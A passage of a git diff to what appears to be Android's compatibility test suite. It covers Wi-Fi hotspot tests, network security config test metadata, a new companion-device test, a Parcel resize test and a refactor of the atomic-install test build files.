+    public void testStartLocalOnlyHotspotSuccess() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -616,12 +626,8 @@
 
         // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
         // TODO: remove this sleep as soon as b/124330089 is fixed.
-        try {
-            Log.d(TAG, "Sleep for 2 seconds");
-            Thread.sleep(2000);
-        } catch (InterruptedException e) {
-            Log.d(TAG, "Thread InterruptedException!");
-        }
+        Log.d(TAG, "Sleeping for 2 seconds");
+        Thread.sleep(2000);
 
         stopLocalOnlyHotspot(callback, wifiEnabled);
 
@@ -668,7 +674,7 @@
      *
      * Note: Location mode must be enabled for this test.
      */
-    public void testStartLocalOnlyHotspotSingleRequestByApps() {
+    public void testStartLocalOnlyHotspotSingleRequestByApps() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -694,22 +700,77 @@
         }
         if (!caughtException) {
             // second start did not fail, should clean up the hotspot.
+
+            // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
+            // TODO: remove this sleep as soon as b/124330089 is fixed.
+            Log.d(TAG, "Sleeping for 2 seconds");
+            Thread.sleep(2000);
+
             stopLocalOnlyHotspot(callback2, wifiEnabled);
         }
         assertTrue(caughtException);
 
         // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
         // TODO: remove this sleep as soon as b/124330089 is fixed.
-        try {
-            Log.d(TAG, "Sleep for 2 seconds");
-            Thread.sleep(2000);
-        } catch (InterruptedException e) {
-            Log.d(TAG, "Thread InterruptedException!");
-        }
+        Log.d(TAG, "Sleeping for 2 seconds");
+        Thread.sleep(2000);
 
         stopLocalOnlyHotspot(callback, wifiEnabled);
     }
 
+    private static class TestExecutor implements Executor {
+        private ConcurrentLinkedQueue<Runnable> tasks = new ConcurrentLinkedQueue<>();
+
+        @Override
+        public void execute(Runnable task) {
+            tasks.add(task);
+        }
+
+        private void runAll() {
+            Runnable task = tasks.poll();
+            while (task != null) {
+                task.run();
+                task = tasks.poll();
+            }
+        }
+    }
+
+    public void testStartLocalOnlyHotspotWithConfig() throws Exception {
+        SoftApConfiguration customConfig = new SoftApConfiguration.Builder()
+                .setBssid(TEST_MAC)
+                .setSsid(TEST_SSID_UNQUOTED)
+                .setWpa2Passphrase(TEST_PASSPHRASE)
+                .build();
+        TestExecutor executor = new TestExecutor();
+        TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLOHSLock);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            boolean wifiEnabled = mWifiManager.isWifiEnabled();
+            mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
+            Log.d(TAG, "Sleeping for 2 seconds");
+            Thread.sleep(2000);
+
+            // Verify callback is run on the supplied executor
+            assertFalse(callback.onStartedCalled);
+            executor.runAll();
+            assertTrue(callback.onStartedCalled);
+
+            assertNotNull(callback.reservation);
+            WifiConfiguration wifiConfig = callback.reservation.getWifiConfiguration();
+            assertNotNull(wifiConfig);
+            assertEquals(TEST_MAC, MacAddress.fromString(wifiConfig.BSSID));
+            assertEquals(TEST_SSID_UNQUOTED, wifiConfig.SSID);
+            assertEquals(TEST_PASSPHRASE, wifiConfig.preSharedKey);
+
+            // clean up
+            stopLocalOnlyHotspot(callback, wifiEnabled);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
     /**
      * Verify that the {@link android.Manifest.permission#NETWORK_STACK} permission is never held by
      * any package.
diff --git a/tests/tests/netsecpolicy/OWNERS b/tests/tests/netsecpolicy/OWNERS
new file mode 100644
index 0000000..fdd42d8
--- /dev/null
+++ b/tests/tests/netsecpolicy/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+include ../networksecurityconfig/OWNERS
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
index d08a4b6..59f04a5 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
index 6dcf00f..89e0143 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
index 15cdee5..c3dbcb8 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
index e9e562f..3408d55 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
index aa74600..bebda23 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
index b615f60..030e2c9 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
index 02eb9a7..9e72c7d 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
index abc5c75..29c13fe 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
index 8878a36..5b37c84 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
index 8e8e14a..d612a7e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
index 2c144c6..bf10bcd 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
index 1c00e71..cbbfeb8 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
index 5e6e3dc..5f0da66 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/OWNERS b/tests/tests/notificationlegacy/notificationlegacy20/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/tests/tests/notificationlegacy/notificationlegacy20/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/OWNERS b/tests/tests/notificationlegacy/notificationlegacy27/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/tests/tests/notificationlegacy/notificationlegacy27/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/OWNERS b/tests/tests/notificationlegacy/notificationlegacy28/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/tests/tests/notificationlegacy/notificationlegacy28/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/OWNERS b/tests/tests/notificationlegacy/notificationlegacy29/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/tests/tests/notificationlegacy/notificationlegacy29/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index 6c48c87..846aa5a 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -32,6 +32,7 @@
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "src/android/os/cts/IParcelFileDescriptorPeer.aidl",
         "src/android/os/cts/IEmptyService.aidl",
         "src/android/os/cts/ISeccompIsolatedService.aidl",
@@ -47,7 +48,7 @@
         "vts",
         "general-tests",
     ],
-    platform_apis: true,
+    sdk_version: "test_current",
     libs: [
         "android.test.runner.stubs",
         "android.test.base.stubs",
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 765c8ef..8c1abc0 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -45,6 +45,7 @@
     <uses-permission android:name="android.permission.DEVICE_POWER" />
     <uses-permission android:name="android.permission.POWER_SAVER" />
     <uses-permission android:name="android.permission.INSTALL_DYNAMIC_SYSTEM" />
+    <uses-permission android:name="android.permission.MANAGE_COMPANION_DEVICES" />
     <uses-permission android:name="android.os.cts.permission.TEST_GRANTED" />
 
     <application
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
new file mode 100644
index 0000000..c406b13
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts
+
+import android.companion.CompanionDeviceManager
+import android.net.MacAddress
+import android.platform.test.annotations.AppModeFull
+import android.test.InstrumentationTestCase
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+
+const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
+val InstrumentationTestCase.context get() = instrumentation.context
+
+/**
+ * Test for [CompanionDeviceManager]
+ */
+class CompanionDeviceManagerTest : InstrumentationTestCase() {
+
+    val cdm by lazy { context.getSystemService(CompanionDeviceManager::class.java) }
+
+    @AppModeFull(reason = "Companion API for non-instant apps only")
+    fun testIsDeviceAssociated() {
+        val userId = context.userId
+        val user = android.os.Process.myUserHandle()
+        val packageName = context.packageName
+        val isAssociated = {
+            runWithShellPermissionIdentity<Boolean> {
+                cdm.isDeviceAssociated(packageName, MacAddress.fromString(DUMMY_MAC_ADDRESS), user)
+            }
+        }
+        val shellIsAssociated = {
+            runShellCommand("cmd companiondevice list $userId")
+                    .lines()
+                    .any {
+                        packageName in it &&
+                                DUMMY_MAC_ADDRESS in it
+                    }
+        }
+
+        assertFalse(isAssociated())
+        assertFalse(shellIsAssociated())
+
+        try {
+            runShellCommand(
+                    "cmd companiondevice associate $userId $packageName $DUMMY_MAC_ADDRESS")
+            assertTrue(isAssociated())
+            assertTrue(shellIsAssociated())
+        } finally {
+            runShellCommand(
+                    "cmd companiondevice disassociate $userId $packageName $DUMMY_MAC_ADDRESS")
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index b00e1f2..0b02291 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -37,6 +37,7 @@
 
     @AppModeFull(reason = "External directory not accessible by instant apps")
     public void testEnvironmentExternal() {
+        assertTrue(Environment.getStorageDirectory().isDirectory());
         assertTrue(Environment.getExternalStorageDirectory().isDirectory());
     }
 
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 68c0a46..0fd3d38 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -3428,4 +3428,34 @@
 
         assertNotNull("Service should have started without crashing.", connection.get());
     }
+
+    public void testObjectResize() throws Exception {
+        Parcel p;
+        IBinder b1 = new Binder();
+        IBinder b2 = new Binder();
+
+        p = Parcel.obtain();
+        p.writeStrongBinder(b1);
+        p.setDataSize(0);
+        p.writeStrongBinder(b2);
+
+        p.setDataPosition(0);
+        assertEquals("Object in parcel should match the binder written after the resize", b2,
+                p.readStrongBinder());
+        p.recycle();
+
+        p = Parcel.obtain();
+        p.writeStrongBinder(b1);
+        final int secondBinderPos = p.dataPosition();
+        p.writeStrongBinder(b1);
+        p.setDataSize(secondBinderPos);
+        p.writeStrongBinder(b2);
+
+        p.setDataPosition(0);
+        assertEquals("Object at the start of the parcel parcel should match the first binder", b1,
+                p.readStrongBinder());
+        assertEquals("Object in parcel should match the binder written after the resize", b2,
+                p.readStrongBinder());
+        p.recycle();
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
index 64b6fd4..e7781b8 100644
--- a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
@@ -67,7 +67,11 @@
      *
      * 3) An app which explicitly calls prctl(PR_SET_DUMPABLE, 1).
      *
-     * For this test, neither #2 nor #3 are true, so we expect ro.debuggable
+     * 4) GraphicsEnv calls prctl(PR_SET_DUMPABLE, 1) in the presence of
+     * <meta-data android:name="com.android.graphics.injectLayers.enable" android:value="true"/>
+     * in the application manifest.
+     *
+     * For this test, neither #2, #3, nor #4 are true, so we expect ro.debuggable
      * to exactly equal prctl(PR_GET_DUMPABLE).
      */
     @AppModeFull(reason = "Instant apps cannot access APIs")
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 8cf673d..8d57488 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -20,6 +20,7 @@
     <!-- Device Owner-specific tests are not applicable to instant apps. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system"/>
diff --git a/tests/tests/packageinstaller/atomicinstall/Android.bp b/tests/tests/packageinstaller/atomicinstall/Android.bp
index 95f8126..8b24ee5 100644
--- a/tests/tests/packageinstaller/atomicinstall/Android.bp
+++ b/tests/tests/packageinstaller/atomicinstall/Android.bp
@@ -18,14 +18,12 @@
     srcs:  ["src/**/*.java"],
 
     java_resources:  [
-        ":AtomicInstallTestAppAv1",
-        ":AtomicInstallTestAppAv2",
-        ":AtomicInstallTestAppBv1",
         ":AtomicInstallCorrupt"
     ],
     static_libs: [
         "androidx.test.runner",
         "truth-prebuilt",
+	"cts-install-lib",
     ],
     sdk_version: "test_current",
     test_suites: [
@@ -41,28 +39,3 @@
     srcs: ["testdata/apk/prebuilt/corrupt.apk"],
     path: "testdata/apk/prebuilt"
 }
-
-android_test_helper_app {
-    name: "AtomicInstallTestAppAv1",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Av1.xml",
-}
-
-android_test_helper_app {
-    name: "AtomicInstallTestAppAv2",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Av2.xml",
-}
-
-android_test_helper_app {
-    name: "AtomicInstallTestAppBv1",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Bv1.xml",
-}
-
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
index e0edcba..1f8f283 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
@@ -18,7 +18,7 @@
           package="com.android.tests.atomicinstall" >
 
     <application>
-        <receiver android:name="com.android.tests.atomicinstall.LocalIntentSender"
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
index 5270823..6ab9d5a 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
@@ -25,8 +25,10 @@
         <option name="test-file-name" value="CtsAtomicInstallTestCases.apk" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="teardown-command" value="pm uninstall com.android.tests.atomicinstall.testapp.A" />
-        <option name="teardown-command" value="pm uninstall com.android.tests.atomicinstall.testapp.B" />
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
